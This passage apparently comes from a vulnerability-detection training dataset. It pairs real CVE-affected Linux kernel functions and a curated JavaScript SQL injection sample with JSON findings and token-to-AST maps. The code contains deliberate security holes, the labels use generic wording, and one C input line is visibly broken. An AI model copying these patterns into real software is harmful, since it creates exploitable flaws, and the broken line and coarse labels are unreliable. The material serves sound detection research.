34\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 6,\n \"col\": 5\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 6,\n \"col\": 8\n },\n {\n \"token\": \"!\",\n \"ast_node\": \"!\",\n \"line\": 6,\n \"col\": 9\n },\n {\n \"token\": \"coreFrame\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 10\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 6,\n \"col\": 19\n },\n {\n \"token\": \"return\",\n \"ast_node\": \"return\",\n \"line\": 7,\n \"col\": 9\n },\n {\n \"token\": \"NULL\",\n \"ast_node\": \"NULL\",\n \"line\": 7,\n \"col\": 16\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 7,\n \"col\": 20\n },\n {\n \"token\": \"return\",\n \"ast_node\": \"return\",\n \"line\": 9,\n \"col\": 4\n },\n {\n \"token\": \"toGlobalRef\",\n \"ast_node\": \"identifier\",\n \"line\": 9,\n \"col\": 11\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 9,\n \"col\": 22\n },\n {\n \"token\": \"coreFrame\",\n \"ast_node\": \"identifier\",\n \"line\": 9,\n \"col\": 23\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 9,\n \"col\": 32\n },\n {\n \"token\": \"script\",\n \"ast_node\": \"field_identifier\",\n \"line\": 9,\n \"col\": 34\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 9,\n \"col\": 40\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 9,\n \"col\": 41\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 9,\n \"col\": 42\n },\n {\n \"token\": \"globalObject\",\n \"ast_node\": \"field_identifier\",\n \"line\": 9,\n \"col\": 44\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 9,\n \"col\": 56\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 9,\n \"col\": 57\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 9,\n \"col\": 58\n },\n {\n \"token\": \"globalExec\",\n \"ast_node\": \"field_identifier\",\n \"line\": 9,\n \"col\": 60\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 9,\n \"col\": 70\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 9,\n \"col\": 71\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 9,\n \"col\": 72\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 9,\n \"col\": 73\n },\n {\n \"token\": \"}\",\n \"ast_node\": \"}\",\n \"line\": 10,\n \"col\": 1\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-476", "source": "BigVul (real CVE-fixed functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "struct key *key_get_instantiation_authkey(key_serial_t target_id)\n{\n\tchar description[16];\n\tstruct keyring_search_context ctx = {\n \t\t.index_key.type\t\t= &key_type_request_key_auth,\n \t\t.index_key.description\t= description,\n \t\t.cred\t\t\t= current_cred(),\n\t\t.match_data.cmp\t\t= user_match,\n \t\t.match_data.raw_data\t= description,\n \t\t.match_data.lookup_type\t= KEYRING_SEARCH_LOOKUP_DIRECT,\n \t};\n\tstruct key *authkey;\n\tkey_ref_t authkey_ref;\n\n\tsprintf(description, \"%x\", target_id);\n\n\tauthkey_ref = search_process_keyrings(&ctx);\n\n\tif (IS_ERR(authkey_ref)) {\n\t\tauthkey = ERR_CAST(authkey_ref);\n\t\tif (authkey == ERR_PTR(-EAGAIN))\n\t\t\tauthkey = ERR_PTR(-ENOKEY);\n\t\tgoto error;\n\t}\n\n\tauthkey = key_ref_to_ptr(authkey_ref);\n\tif (test_bit(KEY_FLAG_REVOKED, &authkey->flags)) {\n\t\tkey_put(authkey);\n\t\tauthkey = ERR_PTR(-EKEYREVOKED);\n\t}\n\nerror:\n\treturn authkey;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-476\",\n \"cwe_name\": \"NULL Pointer Dereference\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2017-2647\",\n \"project\": \"linux\",\n \"vulnerable_lines\": [\n 8\n ],\n \"sink_node_type\": \"init_declarator\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\",\n \"compound_statement\",\n \"declaration\",\n \"init_declarator\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"ctx\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 31\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 4,\n \"col\": 35\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 4,\n \"col\": 37\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 5,\n \"col\": 3\n },\n {\n \"token\": \"index_key\",\n \"ast_node\": \"field_identifier\",\n \"line\": 5,\n \"col\": 4\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 5,\n \"col\": 13\n },\n {\n \"token\": \"type\",\n \"ast_node\": \"field_identifier\",\n \"line\": 5,\n \"col\": 14\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 5,\n \"col\": 20\n },\n {\n \"token\": \"&\",\n \"ast_node\": \"&\",\n \"line\": 5,\n \"col\": 22\n },\n {\n \"token\": \"key_type_request_key_auth\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 23\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 5,\n \"col\": 48\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 6,\n \"col\": 3\n },\n {\n \"token\": \"index_key\",\n \"ast_node\": \"field_identifier\",\n \"line\": 6,\n \"col\": 4\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 6,\n \"col\": 13\n },\n {\n \"token\": \"description\",\n \"ast_node\": \"field_identifier\",\n \"line\": 6,\n \"col\": 14\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 6,\n \"col\": 26\n },\n {\n \"token\": \"description\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 28\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 6,\n \"col\": 39\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 7,\n \"col\": 3\n },\n {\n \"token\": \"cred\",\n \"ast_node\": \"field_identifier\",\n \"line\": 7,\n \"col\": 4\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 7,\n \"col\": 11\n },\n {\n \"token\": \"current_cred\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 13\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 7,\n \"col\": 25\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 7,\n \"col\": 26\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 7,\n \"col\": 27\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 8,\n \"col\": 2\n },\n {\n \"token\": \"match_data\",\n \"ast_node\": \"field_identifier\",\n \"line\": 8,\n \"col\": 3\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 8,\n \"col\": 13\n },\n {\n \"token\": \"cmp\",\n \"ast_node\": \"field_identifier\",\n \"line\": 8,\n \"col\": 14\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 8,\n \"col\": 19\n },\n {\n \"token\": \"user_match\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 21\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 8,\n \"col\": 31\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 9,\n \"col\": 3\n },\n {\n \"token\": \"match_data\",\n \"ast_node\": \"field_identifier\",\n \"line\": 9,\n \"col\": 4\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 9,\n \"col\": 14\n },\n {\n \"token\": \"raw_data\",\n \"ast_node\": \"field_identifier\",\n \"line\": 9,\n \"col\": 15\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 9,\n \"col\": 24\n },\n {\n \"token\": \"description\",\n \"ast_node\": \"identifier\",\n \"line\": 9,\n \"col\": 26\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 9,\n \"col\": 37\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 10,\n \"col\": 3\n },\n {\n \"token\": \"match_data\",\n \"ast_node\": \"field_identifier\",\n \"line\": 10,\n \"col\": 4\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 10,\n \"col\": 14\n },\n {\n \"token\": \"lookup_type\",\n \"ast_node\": \"field_identifier\",\n \"line\": 10,\n \"col\": 15\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 10,\n \"col\": 27\n },\n {\n \"token\": \"KEYRING_SEARCH_LOOKUP_DIRECT\",\n \"ast_node\": \"identifier\",\n \"line\": 10,\n \"col\": 29\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 10,\n \"col\": 57\n },\n {\n \"token\": \"}\",\n \"ast_node\": \"}\",\n \"line\": 11,\n \"col\": 2\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-399", "source": "BigVul (real CVE-fixed functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static int misaligned_load(struct pt_regs *regs,\n\t\t\t __u32 opcode,\n\t\t\t int displacement_not_indexed,\n\t\t\t int width_shift,\n\t\t\t int do_sign_extend)\n{\n\t/* Return -1 for a fault, 0 for OK */\n\tint error;\n\tint destreg;\n\t__u64 address;\n\n\terror = generate_and_check_address(regs, opcode,\n\t\t\tdisplacement_not_indexed, width_shift, &address);\n\tif (error < 0) {\n \t\treturn error;\n \t}\n \n\tperf_sw_event(PERF_COUNT_SW_ALIGNMENT_FAULTS, 1, 0, regs, address);\n \n \tdestreg = (opcode >> 4) & 0x3f;\n \tif (user_mode(regs)) {\n\t\t__u64 buffer;\n\n\t\tif (!access_ok(VERIFY_READ, (unsigned long) address, 1UL< 0) {\n\t\t\treturn -1; /* fault */\n\t\t}\n\t\tswitch (width_shift) {\n\t\tcase 1:\n\t\t\tif (do_sign_extend) {\n\t\t\t\tregs->regs[destreg] = (__u64)(__s64) *(__s16 *) &buffer;\n\t\t\t} else {\n\t\t\t\tregs->regs[destreg] = (__u64) *(__u16 *) &buffer;\n\t\t\t}\n\t\t\tbreak;\n\t\tcase 2:\n\t\t\tregs->regs[destreg] = (__u64)(__s64) *(__s32 *) &buffer;\n\t\t\tbreak;\n\t\tcase 3:\n\t\t\tregs->regs[destreg] = buffer;\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tprintk(\"Unexpected width_shift %d in misaligned_load, PC=%08lx\\n\",\n\t\t\t\twidth_shift, (unsigned long) regs->pc);\n\t\t\tbreak;\n\t\t}\n\t} else {\n\t\t/* kernel mode - we can take short cuts since if we fault, it's a genuine bug */\n\t\t__u64 lo, hi;\n\n\t\tswitch (width_shift) {\n\t\tcase 1:\n\t\t\tmisaligned_kernel_word_load(address, do_sign_extend, ®s->regs[destreg]);\n\t\t\tbreak;\n\t\tcase 2:\n\t\t\tasm (\"ldlo.l %1, 0, %0\" : \"=r\" (lo) : \"r\" (address));\n\t\t\tasm (\"ldhi.l %1, 3, %0\" : \"=r\" (hi) : \"r\" (address));\n\t\t\tregs->regs[destreg] = lo | hi;\n\t\t\tbreak;\n\t\tcase 3:\n\t\t\tasm (\"ldlo.q %1, 0, %0\" : \"=r\" (lo) : \"r\" (address));\n\t\t\tasm (\"ldhi.q %1, 7, %0\" : \"=r\" (hi) : \"r\" (address));\n\t\t\tregs->regs[destreg] = lo | hi;\n\t\t\tbreak;\n\n\t\tdefault:\n\t\t\tprintk(\"Unexpected width_shift %d in misaligned_load, PC=%08lx\\n\",\n\t\t\t\twidth_shift, (unsigned long) regs->pc);\n\t\t\tbreak;\n\t\t}\n\t}\n\n\treturn 0;\n\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-399\",\n \"cwe_name\": \"Resource Management Errors\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2011-2918\",\n \"project\": \"linux\",\n \"vulnerable_lines\": [\n 18\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"static\",\n \"ast_node\": \"static\",\n \"line\": 1,\n \"col\": 0\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 7\n },\n {\n \"token\": \"misaligned_load\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 11\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 26\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 1,\n \"col\": 27\n },\n {\n \"token\": \"pt_regs\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 34\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 42\n },\n {\n \"token\": \"regs\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 43\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 47\n },\n {\n \"token\": \"__u32\",\n \"ast_node\": \"type_identifier\",\n \"line\": 2,\n \"col\": 6\n },\n {\n \"token\": \"opcode\",\n \"ast_node\": \"identifier\",\n \"line\": 2,\n \"col\": 12\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 2,\n \"col\": 18\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 3,\n \"col\": 6\n },\n {\n \"token\": \"displacement_not_indexed\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 10\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 3,\n \"col\": 34\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 4,\n \"col\": 6\n },\n {\n \"token\": \"width_shift\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 10\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 4,\n \"col\": 21\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 5,\n \"col\": 6\n },\n {\n \"token\": \"do_sign_extend\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 10\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 5,\n \"col\": 24\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 6,\n \"col\": 0\n },\n {\n \"token\": \"/* Return -1 for a fault, 0 for OK */\",\n \"ast_node\": \"comment\",\n \"line\": 7,\n \"col\": 1\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 8,\n \"col\": 1\n },\n {\n \"token\": \"error\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 5\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 8,\n \"col\": 10\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 9,\n \"col\": 1\n },\n {\n \"token\": \"destreg\",\n \"ast_node\": \"identifier\",\n \"line\": 9,\n \"col\": 5\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 9,\n \"col\": 12\n },\n {\n \"token\": \"__u64\",\n \"ast_node\": \"type_identifier\",\n \"line\": 10,\n \"col\": 1\n },\n {\n \"token\": \"address\",\n \"ast_node\": \"identifier\",\n \"line\": 10,\n \"col\": 7\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 10,\n \"col\": 14\n },\n {\n \"token\": \"error\",\n \"ast_node\": \"identifier\",\n \"line\": 12,\n \"col\": 1\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 12,\n \"col\": 7\n },\n {\n \"token\": \"generate_and_check_address\",\n \"ast_node\": \"identifier\",\n \"line\": 12,\n \"col\": 9\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 12,\n \"col\": 35\n },\n {\n \"token\": \"regs\",\n \"ast_node\": \"identifier\",\n \"line\": 12,\n \"col\": 36\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 12,\n \"col\": 40\n },\n {\n \"token\": \"opcode\",\n \"ast_node\": \"identifier\",\n \"line\": 12,\n \"col\": 42\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 12,\n \"col\": 48\n },\n {\n \"token\": \"displacement_not_indexed\",\n \"ast_node\": \"identifier\",\n \"line\": 13,\n \"col\": 3\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 13,\n \"col\": 27\n },\n {\n \"token\": \"width_shift\",\n \"ast_node\": \"identifier\",\n \"line\": 13,\n \"col\": 29\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 13,\n \"col\": 40\n },\n {\n \"token\": \"&\",\n \"ast_node\": \"&\",\n \"line\": 13,\n \"col\": 42\n },\n {\n \"token\": \"address\",\n \"ast_node\": \"identifier\",\n \"line\": 13,\n \"col\": 43\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 13,\n \"col\": 50\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 13,\n \"col\": 51\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 14,\n \"col\": 1\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 14,\n \"col\": 4\n },\n {\n \"token\": \"error\",\n \"ast_node\": \"identifier\",\n \"line\": 14,\n \"col\": 5\n },\n {\n \"token\": \"<\",\n \"ast_node\": \"<\",\n \"line\": 14,\n \"col\": 11\n },\n {\n \"token\": \"0\",\n \"ast_node\": \"number_literal\",\n \"line\": 14,\n \"col\": 13\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 14,\n \"col\": 14\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 14,\n \"col\": 16\n },\n {\n \"token\": \"return\",\n \"ast_node\": \"return\",\n \"line\": 15,\n \"col\": 3\n },\n {\n \"token\": \"error\",\n \"ast_node\": \"identifier\",\n \"line\": 15,\n \"col\": 10\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 15,\n \"col\": 15\n },\n {\n \"token\": \"}\",\n \"ast_node\": \"}\",\n \"line\": 16,\n \"col\": 2\n },\n {\n \"token\": \"perf_sw_event\",\n \"ast_node\": \"identifier\",\n \"line\": 18,\n \"col\": 1\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-264", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static int command_read(struct pci_dev *dev, int offset, u16 *value, void *data)\n {\n\tint i;\n\tint ret;\n\tret = xen_pcibk_read_config_word(dev, offset, value, data);\n\tif (!pci_is_enabled(dev))\n\t\treturn ret;\n\tfor (i = 0; i < PCI_ROM_RESOURCE; i++) {\n\t\tif (dev->resource[i].flags & IORESOURCE_IO)\n\t\t\t*value |= PCI_COMMAND_IO;\n\t\tif (dev->resource[i].flags & IORESOURCE_MEM)\n\t\t\t*value |= PCI_COMMAND_MEMORY;\n \t}\n \n \treturn ret;\n }\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-264\",\n \"cwe_name\": \"Permissions/Privileges/Access Control\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2015-2150\",\n \"project\": \"linux\",\n \"vulnerable_lines\": [\n 3,\n 4,\n 5,\n 6,\n 7,\n 8,\n 9,\n 10,\n 11,\n 12\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"static\",\n \"ast_node\": \"static\",\n \"line\": 1,\n \"col\": 0\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 7\n },\n {\n \"token\": \"command_read\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 11\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 23\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 1,\n \"col\": 24\n },\n {\n \"token\": \"pci_dev\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 31\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 39\n },\n {\n \"token\": \"dev\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 40\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 43\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 45\n },\n {\n \"token\": \"offset\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 49\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 55\n },\n {\n \"token\": \"u16\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 57\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 61\n },\n {\n \"token\": \"value\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 62\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 67\n },\n {\n \"token\": \"void\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 69\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 74\n },\n {\n \"token\": \"data\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 75\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 1,\n \"col\": 79\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 2,\n \"col\": 1\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 3,\n \"col\": 1\n },\n {\n \"token\": \"i\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 5\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 3,\n \"col\": 6\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 4,\n \"col\": 1\n },\n {\n \"token\": \"ret\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 5\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 4,\n \"col\": 8\n },\n {\n \"token\": \"ret\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 1\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 5,\n \"col\": 5\n },\n {\n \"token\": \"xen_pcibk_read_config_word\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 7\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 5,\n \"col\": 33\n },\n {\n \"token\": \"dev\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 34\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 5,\n \"col\": 37\n },\n {\n \"token\": \"offset\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 39\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 5,\n \"col\": 45\n },\n {\n \"token\": \"value\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 47\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 5,\n \"col\": 52\n },\n {\n \"token\": \"data\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 54\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 5,\n \"col\": 58\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 5,\n \"col\": 59\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 6,\n \"col\": 1\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 6,\n \"col\": 4\n },\n {\n \"token\": \"!\",\n \"ast_node\": \"!\",\n \"line\": 6,\n \"col\": 5\n },\n {\n \"token\": \"pci_is_enabled\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 6\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 6,\n \"col\": 20\n },\n {\n \"token\": \"dev\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 21\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 6,\n \"col\": 24\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 6,\n \"col\": 25\n },\n {\n \"token\": \"return\",\n \"ast_node\": \"return\",\n \"line\": 7,\n \"col\": 2\n },\n {\n \"token\": \"ret\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 9\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 7,\n \"col\": 12\n },\n {\n \"token\": \"for\",\n \"ast_node\": \"for\",\n \"line\": 8,\n \"col\": 1\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 8,\n \"col\": 5\n },\n {\n \"token\": \"i\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 6\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 8,\n \"col\": 8\n },\n {\n \"token\": \"0\",\n \"ast_node\": \"number_literal\",\n \"line\": 8,\n \"col\": 10\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 8,\n \"col\": 11\n },\n {\n \"token\": \"i\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 13\n },\n {\n \"token\": \"<\",\n \"ast_node\": \"<\",\n \"line\": 8,\n \"col\": 15\n },\n {\n \"token\": \"PCI_ROM_RESOURCE\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 17\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "javascript", "cwe": "CWE-89", "source": "curated SAST pattern + tree-sitter AST", "instruction": "Perform AST-based static analysis on the following javascript code. Detect the security vulnerability, locate the vulnerable tokens and their AST nodes, and output a structured finding.", "input": "function getUser(req, res) {\n const arg = req.body.payload;\n db.query(\"SELECT * FROM users WHERE id = '\" + arg + \"'\", (e, rows) => {\n res.json(rows);\n });\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-89\",\n \"cwe_name\": \"SQL Injection\",\n \"title\": \"SQL injection via string concatenation\",\n \"severity\": \"critical\",\n \"vulnerable_lines\": [\n 3,\n 5\n ],\n \"sink_node_type\": \"call_expression\",\n \"ast_path\": [\n \"program\",\n \"function_declaration\",\n \"statement_block\",\n \"expression_statement\",\n \"call_expression\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"db\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 2\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 3,\n \"col\": 4\n },\n {\n \"token\": \"query\",\n \"ast_node\": \"property_identifier\",\n \"line\": 3,\n \"col\": 5\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 3,\n \"col\": 10\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 3,\n \"col\": 11\n },\n {\n \"token\": \"SELECT * FROM users WHERE id = '\",\n \"ast_node\": \"string_fragment\",\n \"line\": 3,\n \"col\": 12\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 3,\n \"col\": 44\n },\n {\n \"token\": \"+\",\n \"ast_node\": \"+\",\n \"line\": 3,\n \"col\": 46\n },\n {\n \"token\": \"arg\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 48\n },\n {\n \"token\": \"+\",\n \"ast_node\": \"+\",\n \"line\": 3,\n \"col\": 52\n },\n {\n \"token\": \"\\\"\",\n 